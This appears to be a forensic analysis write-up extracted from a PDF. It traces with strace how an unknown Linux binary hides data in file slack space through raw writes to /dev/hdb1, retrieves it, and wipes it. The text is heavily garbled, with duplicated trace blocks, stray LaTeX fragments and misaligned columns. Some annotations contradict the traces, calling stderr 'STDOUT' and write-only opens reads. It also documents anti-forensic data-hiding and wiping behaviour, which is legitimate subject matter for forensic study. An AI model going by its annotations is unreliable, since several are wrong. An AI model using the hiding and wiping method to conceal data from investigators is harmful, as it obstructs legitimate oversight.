0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times.
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3,
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0 0.000057 close(3) = 0 0.000054 close(0) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0
$\begin{array}{llllllllllllllllllllllllllllllllllll$	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3         0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0         0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0         0.000068 brk(0x80c2000)       = 0x80c2000         0.000068 brk(0x80c2000)       = 0x80c2000         0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0       0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0         0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0       0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0         0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0       0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0         0.000057 close(3)       = 0         0.000054 close(0)       = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0 0.000057 close(3) = 0 0.000054 close(0) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0 Write to STDOUT
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0 0.000057 close(3) = 0 0.000054 close(0) = 0	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0 Write to STDOUT
$0.000606 \text{ open}("./big_data_file", O_RDONLY O_LARGEFILE) = 3$ $0.000098 \text{ ioctl}(3, FIGETBSZ, 0xbffff0c4) = 0$ $0.000096 \text{ ioctl}(3, FIGETBSZ, 0xbffff034) = 0$ $0.000068 \text{ brk}(0x80c2000) = 0x80c2000$ $0.000066 \text{ ioctl}(3, FIBMAP, 0xbffff0c4) = 0$ $0.000058 \text{ ioctl}(3, FIBMAP, 0xbffff0c4) = 0$ $0.000058 \text{ ioctl}(3, FIBMAP, 0xbffff0c4) = 0$ $0.000057 \text{ ioctl}(3, FIBMAP, 0xbffff0c4) = 0$ $0.000057 \text{ ioctl}(3, FIBMAP, 0xbffff0c4) = 0$ $0.000057 \text{ close}(3) = 0$ $0.000054 \text{ close}(0) = 0$ $0.000155 \text{ write}(2, "./big_data_file  does not have fragmentation\n", 44) = 44$	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0 Write to STDOUT
0.000606 open("./big_data_file", O_RDONLY[O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0 0.000057 close(3) = 0 0.000054 close(0) = 0 0.000155 write(2, "./big_data_file does not have fragmentation\n", 44) = 44 0.000365 _exit(1)	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0 Write to STDOUT Exit application with exit
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000068 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0 0.000057 close(3) = 0 0.000054 close(0) = 0 0.000055 write(2, "./big_data_file does not have fragmentation\n", 44) = 44 0.000365 _exit(1)	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0 Write to STDOUT Exit application with exit status 1.
0.000606 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3 0.000098 ioctl(3, FIGETBSZ, 0xbffff0c4) = 0 0.000096 ioctl(3, FIGETBSZ, 0xbffff034) = 0 0.000068 brk(0x80c2000) = 0x80c2000 0.000066 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000058 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 ioctl(3, FIBMAP, 0xbffff0c4) = 0 0.000057 close(3) = 0 0.000057 close(3) = 0 0.000054 close(0) = 0 0.000055 write(2, "./big_data_file does not have fragmentation\n", 44) = 44 0.000365 _exit(1)	Opens the file to file descriptor 3 Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3 Sets end of data segments(see brk(2) Linux man page) Sends FIBMAP request code to 2 memory address 2 different times. Closes file descriptors 3, 0 Write to STDOUT Exit application with exit status 1.

strace -r -v -x -s 10000 -o strace.prog.chk ./progmode=chk D	escription
./big_data_file -v	

0.000000 execve("./prog", ["./prog", "mode=chk", "./big_data_file", "-v"], [/* 24 vars */]) = 0	The shell executes the program
0.000395 fcntl64(0, F_GETFD) = 0 0.000186 fcntl64(1, F_GETFD) = 0 0.000058 fcntl64(2, F_GETFD) = 0	Attach to standard file- descriptors STDIN (0), STDOUT (1), STDERR (2)
0.000069 uname({sysname="Linux", nodename="GCFA", release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003", machine="i686"}) = 0	Understand system specifications via uname system call
$\begin{array}{ll} 0.000260 \ \text{geteuid32()} & = 0 \\ 0.000053 \ \text{getuid32()} & = 0 \\ 0.000048 \ \text{getegid32()} & = 0 \\ 0.000047 \ \text{getgid32()} & = 0 \end{array}$	Get user/group identity information
0.000111 brk(0)         = 0x80bedec           0.000070 brk(0x80bee0c)         = 0x80bee0c           0.000055 brk(0x80bf000)         = 0x80bf000           0.000056 brk(0x80c0000)         = 0x80c0000	Set end of data segments(see brk(2) Linux man page)
0.000192 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link
0.000603 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3
0.000105 ioctl(3, FIGETBSZ, 0xbffff1c4) = 0	Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3
0.000101 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link
0.000215 lstat64("/dev/hdb1", {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK 0660, st_nlink=1, st_uid=0, st_gid=6, st_blksize=4096, st_blocks=0, st_rdev=makedev(3, 65), st_atime=2003/01/30-03:24:36, st_mtime=2003/01/30-03:24:36, st_ctime=2003/05/14-09:24:59}) = 0	Lstat gets stats info for the symbolic link
0.000354 open("/dev/hdb1", O_RDONLY O_LARGEFILE) = 4	Opens the raw disk device special file to r reading on file descriptor 4
0.000106 ioctl(3, FIGETBSZ, 0xbffff134) = 0	Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3

0.000073 brk(0x80c2000)	= 0x80c2000	)	Sets end of data segments (see brk(2) Linux man page)
0.000092 ioctl(3, FIBMAP,	0xbffff1c4) = 0		Sends FIBMAP request
0.000073 ioctl(3, FIBMAP,	0xbffff1c4) = 0		code to file descriptor 3.
0.000060 ioctl(3, FIBMAP,	0xbffff1c4) = 0		Repeats 4 times.
0.000060 ioctl(3, FIBMAP,	0xbffff1c4) = 0		
0.000063 _llseek(4, 14483	3020440, [14483020	0440], SEEK_SET) =	Repositions read/write
0	-	- ,	file offset in file
			descriptor 4 to zero
0.000071 read(4, "\x78\x7 1384	8\x78\x00\x00\x0	0", 1384) =	Raw data is read from the disk. The represents a long sequence of previous characters summing ot 1384 bytes. This represents the action of the chk invocation. The \x78 represent the 'x' character.
0.001525 close(3)	= 0		Close file descriptors 3,4
0.000064 close(4)	= 0		
0.000171 write(2, "./big_da	ata_file has slack\n"	, 26) = 26	Write output to SIDERR
0.000275 _exit(0)	= ?		Exit with status 0
_ ()			
		***************************************	
1			

while true; do echo -n "x";done  strace -r -v -x -s 10000 -o strace.prog.p ./progmode=p ./big_data_file -v	Description
0.000000 execve("./prog", ["./prog", "mode=p", "./big_data_file", "-v"], [/* 24 vars */]) = 0	The shell executes the program
0.099191 fcntl64(0, F_GETFD) = 0	Attach to standard file-
$0.000194 \text{ fcntl}64(1, F_GETFD) = 0$	descriptors STDIN (0),
$0.000059 \text{ fcntl}64(2, F_GETFD) = 0$	STDOUT (1), STDERR (2)
0.000069 uname({sysname="Linux", nodename="GCFA",	Understand system
release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003",	specifications via uname
machine="i686"}) = 0	system call
0.000258 geteuid32() = 0	Get user/group identity
0.000053  getuid 32() = 0	information
0.000049  getegid 32() = 0	
0.000049  getgid 32() = 0	

0.000088 brk(0)       = 0x80bedec         0.000065 brk(0x80bee0c)       = 0x80bee0c         0.000054 brk(0x80bf000)       = 0x80bf000         0.000056 brk(0x80c0000)       = 0x80c0000	Set end of data segments (see brk(2) Linux man page)
0.000182 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link
0.000598 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens file to file descriptor 3
0.000105 ioctl(3, FIGETBSZ, 0xbfffe4c4) = 0	Issues FIGETBSZ request code to memory address on file descriptor 3.
0.000097 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link, 32 512 byte blocks dedicated, or 16384 bytes (15000 bytes of '0's' + remainder)
0.000214 Istat64("/dev/hdb1", {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK 0660, st_nlink=1, st_uid=0, st_gid=6, st_blksize=4096, st_blocks=0, st_rdev=makedev(3, 65), st_atime=2003/01/30-03:24:36, st_mtime=2003/01/30-03:24:36, st_ctime=2003/05/14-09:24:59}) = 0	Lstat retrieves stat info on raw disk device
0.000187 open("/dev/hdb1", O_WRONLY O_LARGEFILE) = 4	Open raw disk device for reading to file descriptor 4
0.000095 ioctl(3, FIGETBSZ, 0xbfffe434) = 0	Read from raw disk device
0.000069 brk(0x80c2000) = 0x80c2000	Set end of data segments (see brk(2) Linux man page)
0.000091 ioctl(3, FIBMAP, 0xbfffe4c4) = 0 0.000070 ioctl(3, FIBMAP, 0xbfffe4c4) = 0 0.000059 ioctl(3, FIBMAP, 0xbfffe4c4) = 0 0.000059 ioctl(3, FIBMAP, 0xbfffe4c4) = 0	Sends FIBMAP request code to file descriptor 3. Repeats 4 times.
0.000163 write(2, "stuffing block 3535893\n", 23) = 23 0.000296 write(2, "file size was: 15000\n", 21) = 21 0.000150 write(2, "slack size: 1384\n", 17) = 17 0.000140 write(2, "block size: 4096\n", 17) = 17	Write to STDERR
0.000133 _llseek(4, 14483020440, [14483020440], SEEK_SET) = 0	Repositions read/write file offset in file descriptor 4 to appropriate offset

0.000141 _exit(0)	= ?	Exit with status 0, Indicating normal exit.
0.000644 close(3) 0.000062 close(4)	= 0 = 0	Close file descriptors 3,
0.000077 read(0, "xxxx 0.000606 write(4, "xxxx	xx", 1384) = 1284 xx", 1284) = 1284	Read x's from STDIN, redirect them to file descriptor 4 (raw disk device)

strace -r -v -x -s 10000 -o strace.prog.sb ./progmode=sb ./big_data_file -v	Description
0.000000 execve("./prog", ["./prog", "mode=sb", "./big_data_file", "-v"], [/* 24 vars */]) = 0	The shell executes the program
0.000382 fcntl64(0, F_GETFD) = 0 0.000182 fcntl64(1, F_GETFD) = 0 0.000058 fcntl64(2, F_GETFD) = 0	Attach to standard file- descriptors STDIN (0), STDOUT (1), STDERR (2)
0.000066 uname({sysname="Linux", nodename="GCFA", release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003", machine="i686"}) = 0	Understand system specifications via uname system call
$\begin{array}{llllllllllllllllllllllllllllllllllll$	Get user/group identity information
0.000086 brk(0)       = 0x80bedec         0.000065 brk(0x80bee0c)       = 0x80bedec         0.000054 brk(0x80bf000)       = 0x80bf000         0.000056 brk(0x80c0000)       = 0x80c0000	Set end of data segments (see brk(2) Linux man page)
0.000182 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link
0.000605 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3
0.000102 ioctl(3, FIGETBSZ, 0xbffff644) = 0	Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3
0.000099 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04,	Lstat gets stats info for the symbolic link.

st_ctime=2004/01/05-15:21:04}) = 0	
0.000217 lstat64("/dev/hdb1", {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK 0660, st_nlink=1, st_uid=0, st_gid=6, st_blksize=4096, st_blocks=0, st_rdev=makedev(3, 65), st_atime=2003/01/30-03:24:36, st_mtime=2003/01/30-03:24:36, st_ctime=2003/05/14-09:24:59}) = 0	Lstat gets stats info for the symbolic link.
0.000191 open("/dev/hdb1", O_RDONLY O_LARGEFILE) = 4	Open raw disk for reading
0.000094 ioctl(3, FIGETBSZ, 0xbffff5b4) = 0	Issues FIGETBSZ request code on memory address to file descriptor 3.
0.000071  brk(0x80c2000) = 0x80c2000	Set end of data segments (see brk(2) Linux man page)
0.000088 ioctl(3, FIBMAP, 0xbffff644) = 0 0.000070 ioctl(3, FIBMAP, 0xbffff644) = 0 0.000059 ioctl(3, FIBMAP, 0xbffff644) = 0 0.000059 ioctl(3, FIBMAP, 0xbffff644) = 0	Sends FIBMAP request code to file descriptor 3. Repeats 4 times.
0.000082 fstat64(1, {st_dev=makedev(0, 6), st_ino=2, st_mode=S_IFCHR 0620, st_nlink=1, st_uid=0, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 0), st_atime=2004/01/05-15:24:16, st_mtime=2004/01/05-15:24:16, st_ctime=2004/01/05-12:13:08}) = 0	Get stat infor from file pointed to by file descriptor 1.
0.000178 old_mmap(NULL, 4096, PROT_READ PROT_WRITE, MAP_PRIVATE MAP_ANONYMOUS, -1, 0) = 0x40000000	Get stat info on file pointed to be file descriptor STDIN
0.000122 _llseek(1, 0, 0xbffff3a0, SEEK_CUR) = -1 ESPIPE (Illegal seek)	Repositions read/write file offset in file descriptor 1 to memory address
0.000224 write(1, "1384\n", 5) = 5	Write information to STDOUT
0.000263 munmap(0x40000000, 4096) = 0	Map file into memory
$\begin{array}{rcl} 0.000087 \ \text{close}(3) & = 0 \\ 0.000059 \ \text{close}(4) & = 0 \end{array}$	Close file descriptors 3,4
0.000136 _exit(0) = ?	Exit normally with exit status 0.

strace -r -v -x -s 10000 -o strace.prog.s ./progmode=s ./big_data_file -v	Description		
0.000000 execve("./prog", ["./prog", "mode=s", "./big_data_file", "-v"], [/* 24 vars */]) = 0	The shell executes the program		
0.000366 fcntl64(0, F_GETFD) = 0 0.000186 fcntl64(1, F_GETFD) = 0 0.000056 fcntl64(2, F_GETFD) = 0	Attach to standard file- descriptors STDIN (0), STDOUT (1), STDERR (2)		
0.000068 uname({sysname="Linux", nodename="GCFA", release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003", machine="i686"}) = 0	Understand system specifications via uname system call		
$\begin{array}{llllllllllllllllllllllllllllllllllll$	Get user/group identity information		
0.000085 brk(0)         = 0x80bedec           0.000063 brk(0x80bee0c)         = 0x80bee0c           0.000052 brk(0x80bf000)         = 0x80bf000           0.000055 brk(0x80c0000)         = 0x80c0000	Set end of data segments (see brk(2) Linux man page)		
0.000184 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link		
0.000602 open("./big_data_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3		
0.000098 ioctl(3, FIGETBSZ, 0xbfffdb44) = 0	Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3		
0.000095 lstat64("./big_data_file", {st_dev=makedev(3, 65), st_ino=12665163, st_mode=S_IFREG 0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=32, st_size=15000, st_atime=2004/01/05-00:27:59, st_mtime=2004/01/05-15:21:04, st_ctime=2004/01/05-15:21:04}) = 0	Lstat gets stats info for the symbolic link.		
0.000211 lstat64("/dev/hdb1", {st_dev=makedev(22, 3), st_ino=65661, st_mode=S_IFBLK 0660, st_nlink=1, st_uid=0, st_gid=6, st_blksize=4096, st_blocks=0, st_rdev=makedev(3, 65), st_atime=2003/01/30-03:24:36, st_mtime=2003/01/30-03:24:36, st_ctime=2003/05/14-09:24:59}) = 0	Lstat gets stats info for the symbolic link.		
0.000187 open("/dev/hdb1", O_RDONLY O_LARGEFILE) = 4	Open raw disk device for reading to file descriptor 4		
0.000090 ioctl(3, FIGETBSZ, 0xbfffdab4) = 0	Read from raw disk device		
	0.000069 brk(0x80c2000)	= 0x80c2000	Set end of data segments (see brk(2) Linux man page)
---	--------------------------------	------------------------------------	--
	0.000086 ioctl(3, FIBMAP, 0	Oxbfffdb44) = 0	Sends FIBMAP request
	0.000070 ioctl(3, FIBMAP, 0	Oxbfffdb44) = 0	code to file descriptor 3.
	0.000057 ioctl(3, FIBMAP, 0	Oxbfffdb44) = 0	Repeats 4 times.
	0.000056 ioctl(3, FIBMAP, 0	0 = 0	
	0.000179 write(2, "getting fr	rom block 3535893\n", 27) = 27	Write output to STDERR
	0.000295 write(2, "file size v	was: 15000\n", 21) = 21	
	0.000146 write(2, "slack siz	e: 1384\n", 17) = 17	<b>C</b> .
	0.000137 write(2, "block siz	e: 4096\n", 17) = 17	NP IN
	0.000128 _llseek(4, 144830	)20440, [14483020440], SEEK_SET) =	Repositions read/write
0			file offset in file
			descriptor 1 to memory
			address
	0.000074 read(4, "<1384 x'	es>", 1384) = 1384	Read 1384 x'es ,
			representing the hidden
			information, from file
			descriptor 4
	0.000845 write(1, "<1384 x'	es", 1384) = 1384	Write hidden information
			from above to STDOUT
	0.000984  close(3)	= 0	Close file descriptors 3,4
	0.000064  close(4)	= 0	
	0.000286 _exit(0)	= ?	Exit normally with exit
			STATUS U
		. C.	

strace -r -v -x -s 10000 -o strace.prog.w ./progmode=w ./big_data_file -v	Description
0.000000 execve("./prog", ["./prog", "mode=w", "./big_data_file", "-v"], [/* 24 vars */]) = 0	The shell executes the program
$0.000388 \text{ fcntl}64(0, F_GETFD) = 0$	Attach to standard file-
$0.000180 \text{ fcntl}64(1, F_GETFD) = 0$	descriptors STDIN (0),
$0.000057 \text{ fcnti64}(2, F_GETFD) = 0$	(2)
0.000067 uname({sysname="Linux", nodename="GCFA", release="2.4.20-8", version="#1 Thu Mar 13 17:54:28 EST 2003", machine="i686"}) = 0	Understand system specifications via uname system call
0.000258 geteuid32() = 0	Get user/group identity
0.000053  getuid 32() = 0	information
0.000049  getegid 32() = 0	
$0.000048 \text{ getgia}_{2}() = 0$	

0.000086 brk(0) 0.000065 brk(0x80bee0c) 0.000053 brk(0x80bf000) 0.000056 brk(0x80c0000)	= 0x80bedec = 0x80bee0c = 0x80bf000 = 0x80c0000	Set end of data segments (see brk(2) Linux man page)
0.000193 lstat64("./big_da st_ino=12665163, st_mode=3 st_gid=0, st_blksize=4096, st st_atime=2004/01/05-00:27:5 st_ctime=2004/01/05-15:21:0	tta_file", {st_dev=makedev(3, 65), S_IFREG 0644, st_nlink=1, st_uid=0, _blocks=32, st_size=15000, i9, st_mtime=2004/01/05-15:21:04, i4}) = 0	Lstat gets stats info for the symbolic link
0.000614 open("./big_data	a_file", O_RDONLY O_LARGEFILE) = 3	Opens the file to file descriptor 3
0.000099 ioctl(3, FIGETB	SZ, 0xbfffe4c4) = 0	Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3
0.000098 lstat64("./big_da st_ino=12665163, st_mode=4 st_gid=0, st_blksize=4096, st st_atime=2004/01/05-00:27:5 st_ctime=2004/01/05-15:21:0	nta_file", {st_dev=makedev(3, 65), S_IFREG 0644, st_nlink=1, st_uid=0, _blocks=32, st_size=15000, i9, st_mtime=2004/01/05-15:21:04, i4}) = 0	Lstat gets stats info for the symbolic link
0.000221 lstat64("/dev/hd st_ino=65661, st_mode=S_IF st_gid=6, st_blksize=4096, st st_atime=2003/01/30-03:24:3 st_ctime=2003/05/14-09:24:5	b1", {st_dev=makedev(22, 3), FBLK 0660, st_nlink=1, st_uid=0, _blocks=0, st_rdev=makedev(3, 65), 36, st_mtime=2003/01/30-03:24:36, 9}) = 0	Lstat gets stats info for the symbolic link
0.000192 open("/dev/hdb <sup>^</sup>	", O_WRONLY O_LARGEFILE) = 4	Opens the raw disk device special file to reading on file descriptor 4
0.000098 ioctl(3, FIGETB	SZ, 0xbfffe434) = 0	Issues FIGETBSZ request code on 2 memory addresses on file descriptor 3
0.000072 brk(0x80c2000) 0.000092 ioctl(3, FIBMAP 0.000069 ioctl(3, FIBMAP 0.000058 ioctl(3, FIBMAP 0.000058 ioctl(3, FIBMAP	= 0x80c2000 , 0xbfffe4c4) = 0 , 0xbfffe4c4) = 0 , 0xbfffe4c4) = 0 , 0xbfffe4c4) = 0	Sets end of data segments (see brk(2) Linux man page)
0.000159 write(2, "stuffing 0.000298 write(2, "file size 0.000150 write(2, "slack s 0.000139 write(2, "block s	block 3535893\n", 23) = 23 e was: 15000\n", 21) = 21 ize: 1384\n", 17) = 17 ize: 4096\n", 17) = 17	Sends FIBMAP request code to file descriptor 3. Repeats 4 times.
0.000133 _llseek(4, 14483 0 0.000093 write(4, "\x00\x0	8020440, [14483020440], SEEK_SET) = 10\x00", 1384) = 1384	Repositions read/write file offset in file descriptor 4 to correct memory address
0.001731 write(2, "write e	rror∖n", 12) = 12	Write information to STDERR

0.000161 _llseek(4, 14483020440, [14483020440], SEEK_SET) =       Repositions read/vector         0       file offset in file         0       descriptor 1 to mean         0.000084 write(4, "\xff\xff\", 1384) = 1384       Write \xff bytes to the descriptor 4         0.0001350 write(2, "write error\n", 12) = 12       Write information the descriptor the descr	write mory file
0.000084 write(4, "\xff\xff\", 1384) = 1384       Write \xff bytes to descriptor 4         0.001350 write(2, "write error\n", 12) = 12       Write information t	file
0.001350 write(2, "write error\n", 12) = 12 Write information t	
STDERR	0
0.000237 _llseek(4, 14483020440, [14483020440], SEEK_SET) = Repositions read/v 0 file offset in file descriptor 1 to me address	vrite mory
0.000084 write(4, "\x00\x00\x00\x00\x00", 1384) = 1384 Write \x00 bytes to descriptor 4	) file
0.001454 write(2, "write error\n", 12) = 12 STDERR	0
$\begin{array}{ccc} 0.000156 \ close(3) &= 0 \\ 0.000062 \ close(4) &= 0 \end{array} \qquad \qquad$	ors
0.000146 _exit(0) = ? Exit normally with status 0.	exit

# Forensic Details

### Forensic footprints left by prog

The previous analysis facilitate by use of the strace command has allowed us to monitor and study all interactions with the system during each of its arguement invocations. The following table summarizes footprints for each invocation:

Program invocation mode	Purpose	Forensic footprints
mode=s	display data in slack space	No footprints are left during this invocation, as no writing to disk takes place.
mode=m	List sector numbers	No footprints are left during this invocation, as no writing to disk takes place.
mode=p	Place data in slack space	This invocation places arbitrary data in a files slack space, this information can be recovered via use of the prog utility, or any utility capable of reading disk contents from arbitrary disk locations.

mode=sb	Print number of slack space bytes available	No footprints are left during this invocation, as no writing to disk takes place.		
mode=checkfrag	test for fragmentation	No footprints are left during this invocation, as no writing to disk takes place.		
mode=chk	Test for availability of slack space	No footprints are left during this invocation, as no writing to disk takes place.		
mode=wipe	Deletes and erases content of slack space	This invocation erases arbitrary data in a files slack space by writing null characters (0x00) to slack space, followed by (0xff) characters, followed again by null characters (0x00), this wiped data cannot be recovered using conventional forensic data recovery methods		
Other files used by prog during execution				

# Other files used by prog during execution

Program invocation mode	Purpose	Files accessed by prog
